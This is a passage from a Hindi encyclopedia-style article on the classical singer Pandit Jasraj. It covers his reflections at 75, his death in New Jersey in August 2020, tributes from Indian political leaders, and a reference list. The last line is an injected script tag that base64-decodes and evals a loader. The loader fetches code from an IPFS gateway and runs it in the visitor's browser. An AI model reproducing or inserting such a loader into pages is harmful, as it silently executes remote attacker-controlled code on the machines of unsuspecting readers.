29 जनवरी को पंडित जसराज अपने अभिनंदन में आयोजित समारोह के लिए दिल्ली पधारे थे। इस अवसर पर प्रशंसकों से घिरे पंडित जी से उनकी जीवन-यात्रा के अनुभव जानने चाहे तो थोड़ा गंभीर होकर बोले, "सोचता हूं कि आज अगर 35 बरस का होता और 75 बरस के ये अनुभव साथ होते, और उससे आगे 35 बरस की यात्रा करता तो कितना फ़र्क़ होता। संगीत के प्रति यही भावनाएं, श्रद्धा और भक्ति होती तो जीवन कितना धन्य होता।"[7]

सम्मान और पुरस्कार

पंडित जसराज नीचे दिये गये सम्मान और पुरस्कारों से सम्मानित हो चुके हैं।

मृत्यु

पंडित जसराज की मृत्यु 17 अगस्त, 2020 को दिल का दौरा पड़ने से न्यू जर्सी, अमेरिका में हुई। जनवरी 2020 में अपना 90वां जन्मदिन मनाने वाले पंडित जसराज ने आखिरी प्रस्तुति 9 अप्रैल, 2020 को हनुमान जयंती पर फेसबुक लाइव के जरिये वाराणसी के संकटमोचन हनुमान मंदिर के लिए दी थी। कोरोना वायरस महामारी के कारण लॉकडाउन के बाद से वह न्यूजर्सी में ही थे।[8]

राष्‍ट्रपति रामनाथ कोविंद ने पंडित जसराज के निधन पर शोक जताते हुए कहा, 'संगीत दिग्‍गज और अद्वितीय शास्त्रीय गायक पंडित जसराज के निधन से दु:खी हूं। 8 दशकों से भी अधिक समय के करियर में पद्म विभूषण पंडित जसराज ने जीवंत व भावपूर्ण प्रस्तुतियां दीं। उनके परिवार, दोस्तों और संगीत गुणज्ञ के प्रति मेरी संवेदना।'

पीएम मोदी ने ट्वीट कर कहा, 'पंडित जसराज जी के निधन से भारतीय सांस्कृतिक क्षेत्र में एक गहरी रिक्‍तता आ गई है। न केवल उनकी प्रस्तुतियां उत्कृष्ट थीं, बल्कि वह कई अन्य गायकों के लिए भी एक असाधारण गुरु साबित हुए। उनके परिवार और दुनिया भर में उनके प्रशंसकों के प्रति मैं संवेदना व्‍यक्त करता हूं। ओम शांति।'

गृहमंत्री अमित शाह ने पंडित जसराज को श्रद्धांजलि देते हुए ट्वीट किया, 'संगीत मार्तंड पंडित जसराज जी एक असाधारण कलाकार थे, जिन्होंने अपनी जादुई आवाज से भारतीय शास्त्रीय संगीत को समृद्ध किया। उनका निधन व्यक्तिगत क्षति की तरह लगता है। वह अपनी बेमिसाल रचनाओं के माध्यम से हमारे दिलों में हमेशा रहेंगे। उनके परिवार और समर्थकों के प्रति संवेदना। ओम शांति।'

रक्षामंत्री राजनाथ सिंह ने अपने ट्वीट में कहा, 'सुप्रसिद्ध शास्त्रीय गायक पंडित जसराज के निधन से मुझे गहरा दुःख हुआ है। मेवाती घराना से जुड़े पंडितजी का सम्पूर्ण जीवन सुर साधना में बीता। सुरों के संसार को उन्होंने अपनी कला से नए शिखर दिए। उनके जाने से संगीत का बड़ा स्वर मौन हो गया है। ईश्वर उन्हें अपने श्रीचरणों में स्थान दें।'


पन्ने की प्रगति अवस्था
आधार
प्रारम्भिक
माध्यमिक
पूर्णता
शोध

टीका टिप्पणी और संदर्भ

  1. पहले पंजाब का एक भाग था, जो कि अब फ़तेहाबाद, हरियाणा का एक भाग है।
  2. सुर संगम में आज - सात सुरों को जसरंगी किया पंडित जसराज ने (हिंदी)। । अभिगमन तिथि: 12 मार्च, 2013।
  3. सुर संगम में आज - सात सुरों को जसरंगी किया पंडित जसराज ने (हिंदी)। । अभिगमन तिथि: 12 मार्च, 2013।
  4. पंडित जसराज ने किया अंटार्कटिका में गायन (हिंदी)। । अभिगमन तिथि: 12 मार्च, 2013।
  5. पंडित जसराज के वो 5 गाने, जिनकी छाप हमेशा लोगों के दिलों पर रहेगी (हिन्दी) timesnowhindi.com। अभिगमन तिथि: 18 अगस्त, 2020।
  6. पंडित जसराज ने फिल्‍मी गीत गाया (हिंदी)। । अभिगमन तिथि: 12 मार्च, 2013।
  7. उम्र के 75वें वसंत के अवसर पर पं. जसराज कहते हैं- (हिंदी)। । अभिगमन तिथि: 12 मार्च, 2013।
  8. शास्त्रीय संगीत के पुरोधा पंडित जसराज का निधन (हिन्दी) timesnowhindi.com। अभिगमन तिथि: 18 अगस्त, 2020।

बाहरी कड़ियाँ

संबंधित लेख

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>